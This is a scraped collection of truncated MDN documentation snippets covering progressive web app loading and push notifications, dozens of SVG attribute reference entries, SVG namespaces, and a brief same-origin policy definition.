table and convenient than a typical web site. by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps. what browsers suppor...
Progressive loading - Progressive web apps (PWAs)
eeded for the very first experience. bundling versus splitting many visitors won't go through every single page of a website, yet the usual approach is to bundle every feature we have into one big file. a bundle.js file can be many megabytes, and a single style.css bundle can contain everything from basic css structure definitions to all the possible styles of every version of the site: mobile,
tablet, desktop, print only, etc. it is faster to load all that information as one file rather than many small ones, but if the user doesn't need everything at the very beginning, we could load only what's crucial and then manage other resources when needed. render-blocking resources bundling is a problem, because the browser has to load the html, css, and javascript before it can paint their render...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
s: payload is the text that to be shown in the notification, delay defines a delay in seconds until the notification will be shown, and ttl is the time-to-live setting that keeps the notification available on the server for a specified amount of time, also defined in seconds. now, onto the next javascript file. server.js the server part is written in node.js and needs to be hosted somewhere sui
table, which is a subject for an entirely separate article. we will only provide a high-level overview here. the web-push module is used to set the vapid keys, and optionally generate them if they are not available yet. const webpush = require('web-push'); if (!process.env.vapid_public_key || !process.env.vapid_private_key) { console.log("you must set the vapid_public_key and vapid_private_key "+ ...
SVG Event Attributes - SVG: Scalable Vector Graphics
e is dispatched to the element on which the attributes are specified. for every event type that the browser supports, svg supports that as an event attribute, following the same requirements as for html event attributes. the global event attributes are available on all svg elements. other event attributes are available on a case by case basis for each elements. all event attribute are not anima
table. attributes animation event attributes onbegin, onend, onrepeat document event attributes onabort, onerror, onresize, onscroll, onunload document element event attributes oncopy, oncut, onpaste global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart...
accent-height - SVG: Scalable Vector Graphics
o the top of accent characters, measured by a distance within the font coordinate system. only one element is using this attribute: <font-face> font-face for <font-face>, accent-height defines the distance from the origin to the top of accent characters, measured by a distance within the font coordinate system. value <number> default value value of ascent anima
table no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'accent-height' in that specification. recommendation initial definition ...
accumulate - SVG: Scalable Vector Graphics
d animations to build upon the previous results, accumulating with each iteration. this attribute said to the animation if the value is added to the previous animated attribute's value on each iteration. four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none anima
table no sum specifies that each repeat iteration after the first builds upon the last value of the previous iteration. none specifies that repeat iterations are not cumulative. this attribute is ignored if the target attribute value does not support addition, or if the animation element does not repeat. this attribute will be ignored if the animation function is specified with only t...
additive - SVG: Scalable Vector Graphics
the additive attribute controls whether or not an animation is additive. it is frequently useful to define animation as an offset or delta to an attribute's value, rather than as absolute values. four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value replace | sum default value replace anima
table no sum specifies that the animation will add to the underlying value of the attribute and other lower priority animations. replace specifies that the animation will override the underlying value of the attribute and other lower priority animations. this is the default, however the behavior is also affected by the animation value attributes by and to, as described in smil animation:...
alphabetic - SVG: Scalable Vector Graphics
same syntax and semantics as the baseline descriptor within an @font-face. for horizontally oriented glyph layouts, it indicates the alignment coordinate for glyphs to achieve alphabetic baseline alignment. the value is an offset in the font coordinate system. only one element is using this attribute: <font-face> usage notes value <number> default value 0 anima
table no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'alphabetic' in that specification. recommendation initial definition ...
amplitude - SVG: Scalable Vector Graphics
the amplitude attribute controls the amplitude of the gamma function of a component transfer element when its type attribute is gamma. four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 anima
table yes specifications specification status comment filter effects module level 1the definition of 'amplitude' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'amplitude' in that specification. recommendation initial definition ...
ascent - SVG: Scalable Vector Graphics
to the difference between the units-per-em value and the vert-origin-y value for the corresponding font. only one element is using this attribute: <font-face> font-face for <font-face>, ascent defines the maximum unaccented height of the font within the font coordinate system. value <number> default value difference between units-per-em and vert-origin-y anima
table no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ascent' in that specification. recommendation initial definition ...
attributeName - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'attributename' in that specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributena...
azimuth - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'azimuth' in that specification. recommendation initial definition ...
baseFrequency - SVG: Scalable Vector Graphics
if one number is provided, then that value is used for both x and y. negative values are forbidden. example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.o...
baseProfile - SVG: Scalable Vector Graphics
for example, the value of the attribute could be used by an authoring tool to warn the user when they are modifying the document beyond the scope of the specified base profile. each svg profile should define the text that is appropriate for this attribute. only one element is using this attribute: <svg> context notes value profile name default value none anima
table no example <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg" baseprofile="full"> ... </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'baseprofile' in that specification. recommendation initial definition ...
bbox - SVG: Scalable Vector Graphics
the bbox attribute defines the maximal bounding box of a font. only one element is using this attribute: <font-face> usage notes value <string> default value none anima
table no <string> a comma-separated list of exactly four numbers specifying, in order, the lower left x, lower left y, upper right x, and upper right y of the bounding box for the complete font. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'bbox' in that specification. recommendation initial definition ...
bias - SVG: Scalable Vector Graphics
the bias attribute shifts the range of the filter. after applying the kernelmatrix of the <feconvolvematrix> element to the input image to yield a number and applied the divisor attribute, the bias attribute is added to each component. this allows representation of values that would otherwise be clamped to 0 or 1. usage notes value <number> default value 0 anima
table yes one application of bias is when it is desirable to have 0.5 gray value be the zero response of the filter. specifications specification status comment filter effects module level 1the definition of 'bias' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'bias' in that spec...
by - SVG: Scalable Vector Graphics
when a list of values is defined via the values attribute, the by attribute is ignored. specifications specification status comment svg animations level 2the definition of 'by' in that specification. editor's draft no change scalable vecto...
calcMode - SVG: Scalable Vector Graphics
default mode is linear, however if the attribute does not support linear interpolation (e.g. for strings), the calcmode attribute is ignored and discrete interpolation is used. four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value discrete | linear | paced | spline default value linear anima
table no discrete this specifies that the animation function will jump from one value to the next without any interpolation. linear simple linear interpolation between values is used to calculate the animation function. except for <animatemotion>, this is the default value. paced defines interpolation to produce an even pace of change across the animation. this is only supported for va...
cap-height - SVG: Scalable Vector Graphics
attribute defines the height of uppercase glyphs of the font within the font coordinate system. note: it was specified to share the syntax and semantics of the obsolete cap-height descriptor of the @font-face at-rule defined in an early version of css 2. only one element is using this attribute: <font-face> usage notes value <number> default value none anima
table no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'cap-height' in that specification. recommendation initial definition ...
class - SVG: Scalable Vector Graphics
r, multiple class names must be separated by whitespace characters. an element's class name serves two key roles: as a style sheet selector, for when an author assigns style information to a set of elements. for general use by the browser. you can use this class to style svg content using css. usage context categories none value <list-of-class-names> anima
table yes normative document svg 1.1 (2nd edition): the class attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values. unless explicitly described differently, lists within svg's xml attributes can be either comma-separated (with optional white space before or after the comma), or white space-separated. white space in lis...
clip - SVG: Scalable Vector Graphics
<circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property is deprecated. use clip-path instead. value auto | rect() default value auto anima
table yes the value auto defines a clipping path along the bounds of the viewport created by the given element.the value rect() defines a clipping rectangle following the following syntax: rect(<top>, <right>, <bottom>, <left>). the <top> and <bottom> values specify offsets from the top border edge of the element viewport, while <right> and <left> specify offsets from the left border edge of ...
clipPathUnits - SVG: Scalable Vector Graphics
#myclip1)" xlink:href="#r3" fill="red" /> <!-- the last rect is clipped with objectboundingbox units --> <use clip-path="url(#myclip2)" xlink:href="#r4" fill="red" /> </svg> clippath for <clippath>, clippathunits define the coordinate system in use for the content of the element. value userspaceonuse | objectboundingbox default value userspaceonuse anima
table yes userspaceonuse this value indicates that all coordinates inside the <clippath> element refer to the user coordinate system as defined when the clipping path was created. objectboundingbox this value indicates that all coordinates inside the <clippath> element are relative to the bounding box of the element the clipping path is applied to. it means that the origin of the coordin...
color-rendering - SVG: Scalable Vector Graphics
optimizespeed indicates that the user agent shall emphasize rendering speed over quality. for rgb display devices, this option will sometimes cause the user agent to perform color interpolation and compositing in the device rgb...
contentScriptType - SVG: Scalable Vector Graphics
pting language used to process the value strings in event attributes. this language must be used for all instances of script that do not specify their own scripting language. the value specifies a media type, per mime part two: media types [rfc2046]. usage notes value one of the content types specified in the media types default value application/ecmascript anima
table no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification. recommendation initial definition ...
contentStyleType - SVG: Scalable Vector Graphics
ment on the <svg> element. this language is used for all instances of style that do not specify their own styling language, such as the style attribute that is available on many elements. the value specifies a media type, per mime part two: media types [rfc2046]. usage notes value one of the content types specified in the media types default value text/css anima
table no since css is the only widely deployed style sheet language for online styling and it's already defined as default value if contentstyletype is ommitted, the attribute is not well supported in user agents. if other style sheet languages become more popular they might not use the style attribute, instead it could be easily declared which style language is used in the <style>'s type att...
cursor - SVG: Scalable Vector Graphics
attribute, it also can be used as a property directly inside a css stylesheet, see css cursor for further information. usage context categories presentation attribute value [[<funciri>,]* [ auto | crosshair | default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit anima
table yes normative document svg 1.1 (2nd edition) <funciri> functional notation for a reference. the syntax for this reference is the same as the css uri. elements the following elements can use the cursor attribute container elements » graphics elements » browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to...
descent - SVG: Scalable Vector Graphics
the descent attribute defines the maximum unaccented depth of the font. note: it was specified to share the syntax and semantics of the obsolete descent descriptor of the @font-face at-rule defined in an early version of css 2. only one element is using this attribute: <font-face> usage notes value <number> default value value of vert-origin-y anima
table no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'descent' in that specification. recommendation initial definition ...
direction - SVG: Scalable Vector Graphics
<altglyph>, <textpath>, <text>, <tref>, and <tspan>. html, body, svg { height: 100%; } <svg viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr anima
table yes specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification. proposed recommendation definition in css scalable vector graphics (svg) 2the definition of 'direction' in that specification. candidate recommendation refers to the css writing modes specification of the d...
divisor - SVG: Scalable Vector Graphics
if the specified divisor is 0 then the default value will be used instead. specifications specification status comment filter effects module level 1the definition of 'divisor' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'di...
dur - SVG: Scalable Vector Graphics
the value must be greater than 0 and can be expressed with hours (h), minutes (m), seconds (s) or milliseconds (ms). itʼs possible to combine those time representations to create some complex durations like hh:mm:ss.iii or mm:ss.iii. media this value specifies the simple duration as the intrinsic media durati...
elevation - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'elevation' in that specification. recommendation initial definition ...
enable-background - SVG: Scalable Vector Graphics
e-background can be used as a css property. as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <a>, <defs>, <glyph>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, and <symbol> context notes value accumulate | new [ <x> <y> <width> <height> ]? default value accumulate anima
table no accumulate if an ancestor container element has a property value of enable-background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target device. otherwise, there is no current background image canvas, so graphics elements are only rendered onto the target devic...
end - SVG: Scalable Vector Graphics
the end attribute defines an end value for the animation that can constrain the active duration. five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> usage notes default value none value <end-value-list> anima
table no the <end-value-list> is a semicolon-separated list of values. each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event). negative values are valid. <syncbase-value> this value defines a syncbase and an optional offset from that syncbase. the element's animation end time is defined relative to the begin or active end of...
filterRes - SVG: Scalable Vector Graphics
of a value may result in unwanted pixelation in the result. too large of a value may result in slow processing and large memory usage. note that negative values or zero values disable the rendering of the element which referenced the filter. only one element is using this attribute: <filter> usage notes value <number-optional-number> default value none anima
table yes <number-optional-number> this value takes one or two values, the first one outlining the resolution in horizontal direction, the second one in vertical direction. if only one value is specified, it is used for both directions. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'filterres'...
filterUnits - SVG: Scalable Vector Graphics
the filterunits attribute defines the coordinate system for the attributes x, y, width and height. only one element is using this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value objectboundingbox anima
table yes userspaceonuse x, y, width and height represent values in the current coordinate system that results from taking the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute). objectboundingbox in that case, x, y, width and height represent fractions or percentages of the bounding box on the referencing element. specifications specification s...
stdDeviation - SVG: Scalable Vector Graphics
the second value represents a standard deviation along the y-axis. if one number is provided, then that value is used for both x and y. a negative value is forbidden. a value of zero disables the effect of the given filter primitive (i.e., the result i...
stemh - SVG: Scalable Vector Graphics
serifed "m" and "n", plus there may be different widths for uppercase and lowercase characters in the same font. also, either by design or by error, all stems may have slightly different widths. if this attribute is used, the units-per-em must also be used. only one element is using this attribute: <font-face> usage notes value <number> default value none anima
table no <number> this value indicates the horizontal stem width of the font. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemh' in that specification. recommendation initial definition ...
stemv - SVG: Scalable Vector Graphics
is meant for the dominant vertical stem in the font because there might be different groupings of vertical stems (e.g., one main one, and one lighter weight one as for an uppercase "m" or "n"). if this attribute is used, the units-per-em must also be used. only one element is using this attribute: <font-face> usage notes value <number> default value none anima
table no <number> this value indicates the vertical stem width of the font. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemv' in that specification. recommendation initial definition ...
stitchTiles - SVG: Scalable Vector Graphics
sometimes the result will show clear discontinuities at the tile borders. stitch this value indicates that the user agent will automatically adjust the x and y values of the base frequency such that the <feturbulence> node’s width and...
stop-color - SVG: Scalable Vector Graphics
lent to specifying a stop-color with the value black and a stop-opacity with the value 0. note: as a presentation attribute, stop-color can be used as a css property. as a presentation attribute, it can be applied to any element but it has effect only on the following element: <stop> usage notes value currentcolor | <color> <icccolor> default value black anima
table yes currentcolor this keyword denotes the current fill color and can be specified in the same manner as within a <paint> specification for the fill and stroke attributes. <color> this value indicates a color value. <icccolor> this value refers to an icc color profile. specifications specification status comment scalable vector graphics (svg) 2the de...
stop-opacity - SVG: Scalable Vector Graphics
ttribute. for stop-color values that donʼt include explicit opacity information, the opacity is treated as 1. note: as a presentation attribute, stop-opacity can be used as a css property. as a presentation attribute, it can be applied to any element but it has effect only on the following element: <stop> usage notes value <opacity-value> default value 1 anima
table yes <opacity-value> this value is either a <number> between 0 and 1 or a <percentage> value specifying the opacity of the color gradient stop. specifications specification status comment scalable vector graphics (svg) 2the definition of 'stop-opacity' in that specification. candidate recommendation refers to the definition in css colors 3, but all...
string - SVG: Scalable Vector Graphics
the string attribute is a hint to the user agent, and specifies a list of formats that the font referenced by the parent <font-face-uri> element supports. only one element is using this attribute: <font-face-format> usage notes value <anything> default value none anima
table no <anything> this value specifies a list of formats that are supported by the font referenced by the parent <font-face-uri> element. the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg". see the src descriptor of the @font-face at-rule for more information. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'string' in that specifica...
stroke-dasharray - SVG: Scalable Vector Graphics
s with an odd number of values --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="4 1 2" /> <!-- dashes and gaps of various sizes with an even number of values --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="4 1 2 3" /> </svg> usage notes value none | <dasharray> default value none anima
table yes <dasharray> a list of comma and/or white space separated <length>s and <percentage>s that specify the lengths of alternating dashes and gaps. if an odd number of values is provided, then the list of values is repeated to yield an even number of values. thus, 5,3,2 is equivalent to 5,3,2,5,3,2. browser compatibility the compatibility
table on this page is generated from s...
stroke-linejoin - SVG: Scalable Vector Graphics
the arcs value indicates that an arcs corner is to be used to join path segments. the arcs shape is formed by extending the outer edges of the stroke at the join point with arcs that have the same curvature as the outer edges at the join point. exa...
stroke-miterlimit - SVG: Scalable Vector Graphics
iterlength stroke-width = 1 sin ( θ 2 ) for example, a miter limit of 1.414 converts miters to bevels for theta less than 90 degrees, a limit of 4.0 converts them for theta less than approximately 29 degrees, and a limit of 10.0 converts them for theta less than approximately 11.5 degrees. usage context value <number> default value 4 anima
table yes the value of stroke-miterlimit must be greater than or equal to 1. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidf...
style - SVG: Scalable Vector Graphics
functions identically to the style attribute in html. all elements are using this attribute. html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none anima
table no <style> the syntax of style data depends on the style sheet language. by default, the style sheet language is css. note: in theory, the contentstyletype attribute could be used to specify styling languages other than css, like xsl(t). however, this was never implemented satisfactorily in browsers, so you should not rely on it. specifications specification statu...
surfaceScale - SVG: Scalable Vector Graphics
ting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, surfacescale defines the height of the surface. value <number> default value 1 anima
table yes fediffuselighting for <fediffuselighting>, surfacescale defines the height of the surface. value <number> default value 1 anima
table yes specifications specification status comment filter effects module level 1the definition of 'surfacescale for <fediffuselighting>' in that specification. working draft n...
tabindex - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'tabindex' in that specification. candidate recommendation initial definition ...
target - SVG: Scalable Vector Graphics
note: this value was never well implemented, and the distinction between _replace and _self has been made redundant by changes in the html definition of browsing contexts. use _self to replace the current svg document. _self the c...
targetX - SVG: Scalable Vector Graphics
etermines the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image. the leftmost column of the matrix is column number zero. the value must be such that: 0 <= targetx < orderx. only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(orderx / 2) anima
table yes <integer> this value indicates the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image. specifications specification status comment filter effects module level 1the definition of 'targetx' in that specification. working draft no change scalable vector graphics (svg) 1.1 (se...
targetY - SVG: Scalable Vector Graphics
tribute determines the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image. the topmost row of the matrix is row number zero. the value must be such that: 0 <= targety < ordery. only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(ordery / 2) anima
table yes <integer> this value indicates the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image. specifications specification status comment filter effects module level 1the definition of 'targety' in that specification. working draft no change scalable vector graphics (svg) 1.1 (seco...
text-decoration - SVG: Scalable Vector Graphics
specifications specification status comment css text decoration module level 3the definition of 'text-decoration' in that specification. candidate recommendation defines the property as a shorthand for text-decoration-line, text-decoration-style, and text-decoration...
textLength - SVG: Scalable Vector Graphics
<number> a numeric value outlines a length referring to the units of the current coordinate system. example let's create a simple example that presents text you can resize using an <input> element of type "range". css .controls { font: 16...
transform-origin - SVG: Scalable Vector Graphics
css property to style svg. see the css transform-origin property for more information. usage notes values [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> default value 50%, 50% anima
table yes the transform-origin property may be specified using one, two, or three values, where each value represents an offset. offsets that are not explicitly defined are reset to their corresponding initial values. if two or more values are defined and either no value is a keyword, or the only used keyword is center, then the first value represents the horizontal offset and the second rep...
transform - SVG: Scalable Vector Graphics
ct>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <switch>, <text>, and <use>). also, as a legacy from svg 1.1, <lineargradient> and <radialgradient> support the gradienttransform attribute, and <pattern> supports the patterntransform attribute, both of which act exactly like the transform attribute. value <transform-list> default value none anima
table yes transform functions the following transform functions can be used by the transform attribute <transform-list> warning: as per the spec, you should be able to also use css transform functions. however, the compatibility isn't guaranteed. matrix the matrix(<a> <b> <c> <d> <e> <f>) transform function specifies a transformation in the form of a transformation matrix of six values. m...
u1 - SVG: Scalable Vector Graphics
a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g1 attribute. the total set of possible first glyphs in the kerning pair is the union of glyphs specified by the u1 and g1 attributes. two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none anima
table no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u1' in that specification. reco...
u2 - SVG: Scalable Vector Graphics
a comma, specify the comma as part of a range of unicode characters or as a glyph name using the g2 attribute. the total set of possible second glyphs in the kerning pair is the union of glyphs specified by the u2 and g2 attributes. two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none anima
table no [ <character> | <urange> ]# this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u2' in that specification. rec...
unicode-bidi - SVG: Scalable Vector Graphics
as a css property. see the css unicode-bidi property for more information. as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> context notes value normal | embed | isolate | bidi-override | isolate-override | plaintext default value normal anima
table no for a description of the values, please refer to the css unicode-bidi property. specifications specification status comment css writing modes module level 3the definition of 'unicode-bidi' in that specification. proposed recommendation svg 2 only refers to css writing modes. introduced isolate, isolate-override, and plaintext keywords. ...
unicode-range - SVG: Scalable Vector Graphics
the unicode-range attribute defines the range of iso 10646 characters possibly covered by the glyphs in a font. only one element is using this attribute: <font-face> usage notes value <urange># default value none anima
table no <urange># this value is a comma-separated list of iso 10646 characters possibly covered by the glyphs in the font. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-range' in that specification. recommendation initial definition ...
unicode - SVG: Scalable Vector Graphics
2;fl". the unicode attribute contributes to the process for deciding which glyph(s) are used to represent which character(s). if the attribute is not provided for a given <glyph>, then the only way to use this glyph is via an <altglyph> reference. only one element is using this attribute: <glyph> context notes value <string> default value none anima
table no <string> this value specifies one or more unicode characters corresponding to a glyph. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode' in that specification. recommendation initial definition ...
units-per-em - SVG: Scalable Vector Graphics
t is the intended distance between lines of type in the same type size. this is the size of the design grid on which glyphs are laid out. note: this value is almost always necessary as nearly every other attribute requires the definition of a design grid. only one element is using this attribute: <font-face> usage notes value <number> default value 1000 anima
table no <number> this value indicates the the number of coordinate units on the em square. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'units-per-em' in that specification. recommendation initial definition ...
xlink:show - SVG: Scalable Vector Graphics
the xlink:show attribute indicates how a linked resource should be opened and is meant for xlink-aware processors. in case of a conflict, the target attribute has priority, since it can express a wider range of values. only one element is using this attribute: <a> usage notes value new | replace | embed | other | none default value replace anima
table no new this value specifies that the referenced resource is opened in a new window or tab. this is similar to the effect achieved by an html <a> element with target set to _blank. replace this value specifies that the referenced resource is opened in the same window or tab. this is similar to the effect achieved by an html <a> element with target set to _self. embed this value specifies that in...
xlink:type - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:type' in that specification. recommendation initial definition ...
xml:base - SVG: Scalable Vector Graphics
the xml:base attribute specifies a base iri other than the base iri of the document or external entity. all elements are using this attribute. usage notes value <iri> default value none anima
table no <iri> this value specifies the base iri of the element. specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:base' in that specification. recommendation initial definition ...
xml:lang - SVG: Scalable Vector Graphics
s also a lang attribute (without namespace). if both of them are defined, the one with namespace is used and the one without is ignored. all elements are using this attribute. <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none anima
table no <language-tag> this value specifies the language used for the element. the syntax of this value is defined in the bcp 47 specification. the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g. en-us for us english or de-at for austrian german. s...
xml:space - SVG: Scalable Vector Graphics
api may have no effect. all elements are using this attribute. html, body, svg { height: 100%; } <svg viewbox="0 0 140 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" xml:space="default">default spacing</text> <text y="40" xml:space="preserve">preserved spacing</text> </svg> usage notes value default | preserve default value default anima
table no default with this value set, whitespace characters will be processed in this order: all newline characters are removed. all tab characters are converted into space characters. all leading and trailing space characters are removed. all contiguous space characters are collapsed into a single space character. preserve this value tells the user agent to convert all...
yChannelSelector - SVG: Scalable Vector Graphics
g this keyword specifies that the green color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis. b this keyword specifies that ...
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility
tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<clipPath> - SVG: Scalable Vector Graphics
efault, pointer-events are not dispatched on clipped regions. for example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius. attributes clippathunits defines the coordinate system for the contents of the <clippath> element. ...
<g> - SVG: Scalable Vector Graphics
, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the followin...
<set> - SVG: Scalable Vector Graphics
x; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation. the value must match the requirements of the target attribute. ...
Namespaces crash course - SVG: Scalable Vector Graphics
the dom level 1 recommendation was created before the original namespaces in xml recommendation was released; therefore, dom1 isn't namespace aware. this causes problems for namespaced xml such as svg. to resolve these problems, dom level 2 core added namespace aware equivalents of all the applicable dom level 1 methods. when scripting svg, it is important to use the namespace aware methods. the
table below lists the dom1 methods that shouldn't be used in svg, along with their equivalent dom2 counterparts that should be used instead. dom1 (don't use) dom2 (use these instead!) createattribute createattributens createelement createelementns getattributenode getattributenodens getattribute getattributens getelementsbytagname ...
Other content in SVG - SVG: Scalable Vector Graphics
t all, the data will simply be omitted. therefore the specification adds the <foreignobject> element to svg. its sole purpose is to be a container for other markup and a carrier for svg styling attributes (most prominently width and height to define the space the object will take). the foreignobject element is a good way to embed xhtml in svg. if you have longer texts, the html layout is more sui
table and comfor
table than the svg text element. another often cited use case is the embedding of formulas with mathml. for scientific applications of svg this is a very good way to join both worlds. note: please keep in mind, that the content of the foreignobject must be processable by the viewer. a standalone svg viewer is unlikely to be able to render html or mathml. since the foreignobject is an ...
Paths - SVG: Scalable Vector Graphics
10 h 80 v 80 h -80 z" fill="transparent" stroke="black"/> the path will move to point (10,10) and then move horizontally 80 points to the right, then 80 points down, then 80 points to the left, and then back to the start. in these examples, it would probably be simpler to use the <polygon> or <polyline> elements. however, paths are used so often in drawing svg that developers may be more comfor
table using them instead. there is no real performance penalty or bonus for using one or the other. curve commands there are three different commands that can be used to create smooth curves. two of those curves are bézier curves, and the third is an "arc" or part of a circle. you might have already gained practical experience with bézier curves using path tools in inkscape, illustrator or photosho...
Same-origin policy - Web security
ly malicious documents, reducing possible attack vectors. definition of an origin two urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
